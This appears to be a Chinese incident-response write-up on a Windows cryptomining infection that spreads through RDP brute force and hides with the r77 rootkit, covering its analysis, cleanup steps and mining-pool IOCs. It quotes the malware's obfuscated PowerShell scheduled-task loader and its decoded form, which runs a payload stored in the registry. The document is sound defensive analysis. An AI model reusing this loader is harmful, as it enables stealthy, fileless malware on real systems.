Warmup 挖矿分析之R77-rootkit劫持windows系统
2023-4-24 10:30:45 Author: 格格巫和蓝精灵(查看原文) 阅读量:130 收藏

一、背景介绍

      在上次处理完多起Linux warmup挖矿病毒应急响应时间后,随后又在4月初接到另一个客户网络中又有类似的病毒,外连的矿池IP与之前的warmup矿池IP十分相像,但这次的中毒主机是windows server的,传播方式,从原来的SSH爆破,变成了RDP爆破扩散,感觉这个病毒的作者比较热衷于通过弱密码传播,但不得不说这确实是一种很有效的方法。

二、事件描述

      通过前期的溯源,了解到这次失陷的根本原因是内网有台windows server服务器的3389端口被映射到公网,密码还是弱密码。而在后续的分析中,也发现此次病毒的传播方式是通过RDP爆破的方式进行传播,相较于之前Linux通过库劫持和写入各种计划任务作为权限维持外,Windwos的权限维持的方式是通过一个叫 R77-rootkit工具做的,将病毒的进程、启动项、服务、文件等做了内核隐藏,用来躲避检测和查杀。

三、应急响应过程

3.1 应急分析

1).还是跟之前一样,在排查的时候发现主机的CPU和内存并没有那个进程占用较高,但在看网络连接时,却看到有个svchost.exe PID:9908 的进程一直在外连5.133.65.56,且自身开启了703。

看过之前应急的小伙伴们应该会知道,该病毒会打开757端口和703端口用来做端口转发,同时还可在病毒横行内网时,用来探测该端口,了解到目标主机是否已经中招。

2).老规矩,先把各启动项、服务、计划任务、账户什么的都检查一边,看看能不能发现一些异常。

果然,在计划任务中发现如下2个可以的计划任务,用来执行powershell脚本。

命令如下,可以看到,里面很多的关键字符串都被做了编码混淆,用来绕过安全软件的拦截防护:

"powershell" [Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+'W'+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+''+'7'+''+'s'+''+'t'+'a'+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)

解码后内容如下:

"powershell"

[Reflection.Assembly]: :Load(Microsoft.Win32.Registry::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)

3).根据如上特征,我们发现这是一个github上的rootkit工具,经了解这是一个名为r77的ring 3 Rootkit,它可以隐藏指定的文件、目录、连接、计划任务、注册表项、CPU使用率等等。

注意:该工具的使用详情,和各功能点,大家可以自行上github上查看,这里就不作详细介绍了,链接和该工具的官网(没错还有官网!)就给大家放这里了。

https://bytecode77.com/

https://github.com/bytecode77/r77-rootkit

4).通过上面r77 rootkit工具在github上介绍分析来看,当前主机上正在运行的恶意程序和挖矿程序等,很有可能是已经被隐藏起来了,想要删除的话,就必须先把这个rootkit工具卸载掉。

5).通过everything工具检索"$77"关键字发现存在如下恶意文件和目录:

这里不得不称赞一下everything工具的强大检索能力了。基于其强大的系统底层检索功能可以查看到隐藏的文件,实际上如下这些文件和目录,在windows操作系统中是看不到的。

C:\$77Chipset\...

C:\$77Drivers\...

C:\$77Module\...

C:\Program Files\Oracle\...

C:\Windows\System32\Tasks\$77svc64 (注入32位进程)

这些文件、目录,无疑都是r77 rootkit工具及其它的如挖矿程序、横向扩散模块等等,都使用了r77工具做了隐藏,这只需要在文件和目录前面添加“$77”前缀即可隐藏。

注意:上面这些通过everything工具检索出来的文件,通过everything自带的“打开路径”或“打开”是都无法正常打开的,系统会提示找不到该文件和路径。本来是准备直接运行$77_Uninstall.exe程序来卸载掉这个rookit,但是程序运行不了。(对,现在就只能这样干看着,想动动不了)

6).通过Github上的资料来看,在注册表HKEY_LOCAL_MACHINE\SOFTWARE\处有个$77config配置项,但在实际查找过程中,却没有找到,这里应该是被rootkit隐藏掉了。

7).后面在分析前svchost.exe PID:9908 的进程的内存时,果然发现C:\Program Files\Oracle...里的隐藏程序已经被调用执行。

被执行的powershell脚本。

8).在继续分析的时候,发现存在2个可疑账户:adm、adm$

其中adm账户存在明显的账户提权痕迹。

9).发现在该账户的桌面目录下,存在大量恶意文件,和各种攻击利用、扫描工具、挖矿程序,以及msi的病毒程序安装包。

如NLBrute工具(rdp爆破):

Ma_ss工具(Masscan扫描):

这个我就不翻github了吧,大家都知道,这是个端口扫描工具,可以发现它除了扫描3389端口外,还会扫描22端口的主机,这里应该是准备为Linux主机投毒准备。

实际是在处置的过程中也发现内网有些Linux主机中招了,但我们在上一次捕获中收集到了病毒样本,制作了对应的专杀脚本,可以直接查杀。

10).通过杀软检查其中Oracle.msi、Oracle - 副本.msi的安装包,发现存在大量的恶意文件。前缀都带有“77”特殊字符,且与之前everything检索出的程序文件名称符合。

这里判断,Oracle.msi安装包就是病毒的母体文件。

11).OffOn.ps1 powershell脚本。

分析的话,就暂且分析到这,接下来就看看我的处置方法吧......

3.2 应急处置

1).前面有提到过,本来打算使用C:\Program Files\Oracle$77_Uninstall.exe本地卸载程序来卸载r77 rootkit工具,但提示系统无法找到该文件和文件路径,也就是现在不仅没办法删除或操作这些隐藏的恶意文件,就连自身的r77 rootkit工具也无法直接卸载。

后面想了个方法,直接从github上下载一个新的r77 rootkit工具,提取其中的卸载工具,在失陷主机上运行卸载,看能不能卸载掉。

2).说干就干,这里不仅下载了个新的R77卸载工具,就连其Console控制台程序也复制过来了,准备看看上面运行了什么。

但是在运行中发现TestConsole控制台程序运行不了,不过在运行Uninstall.exe卸载程序后,就可以解除rootkit隐藏效果,系统中可以直接看到了,也能操作。

3).隐藏的恶意进程和恶意文件夹都可以看到了,以及一个$77ExeculeOracle的服务。

4).r77 rootkit隐藏效果解除或,直接运行C:\Program Files\Oracle$77_Uninstall.exe本机的r77 rootkit卸载工具,可以将该工具注入到系统的各启动项(包括计划任务、注册表项等)删除掉。

备注:这里还是用本地的卸载工具,之前github上的卸载工具只是解除了r77 rootkit的隐藏效果,各启动项和服务什么的都没清除掉。

5).其中$77_oracle.exe 进程对应的C:\Program Files\Oracle$77_oracle.exe文件其实是个挖矿程序,运行后可以看到不断外连5.133.65.x:14444矿池服务器。

6).查看C:\Program Files\Oracle\config.json配置文件,可以看到里面存在大量的矿池ip,说明这是一个挖矿程序的配置文件。

四、处置步骤总结

1)使用github上下载的r77 rootkit工具的卸载程序,解除目标主机rootkit隐藏效果。

2)运行C:\Program Files\Oracle$77_Uninstall.exe卸载工具,将可以直接卸载注入到系统上r77 rootkit的各计划任务、注册表项等。

3)结束注入的恶意进程$77_ExecuteOracle.exe、$77_Oracle.exe。

4)删除如下恶意文件、目录:

C:\$77Chipset\...

C:\$77Drivers\...

C:\$77Module\...

C:\Program Files\Oracle\...

C:\Windows\System32\Tasks\$77svc64 (注入32位进程,r77劫持文件)

C:\Windows\System32\Tasks\$77svc32 (注入64位进程,r77劫持文件)

5)删除$77ExecuteOracle服务

6)删除adm和adm$克隆账户。

7)删除adm用户目录下Desktop目录下的各种恶意文件。

五、IOC

5.133.65.54:80

5.133.65.53:14444

5.133.65.54:14444

5.133.65.55:14444

5.133.65.56:14444

文章来源: http://mp.weixin.qq.com/s?__biz=MzI5NDg0ODkwMQ==&mid=2247485320&idx=1&sn=744f85e6689720f0115354532a2853f4&chksm=ec5dd762db2a5e748c6a3fca8c2b16db94b87334974cf7f8821914f1b803769613d6e14120e6#rd
如有侵权请联系:admin#unsafe.sh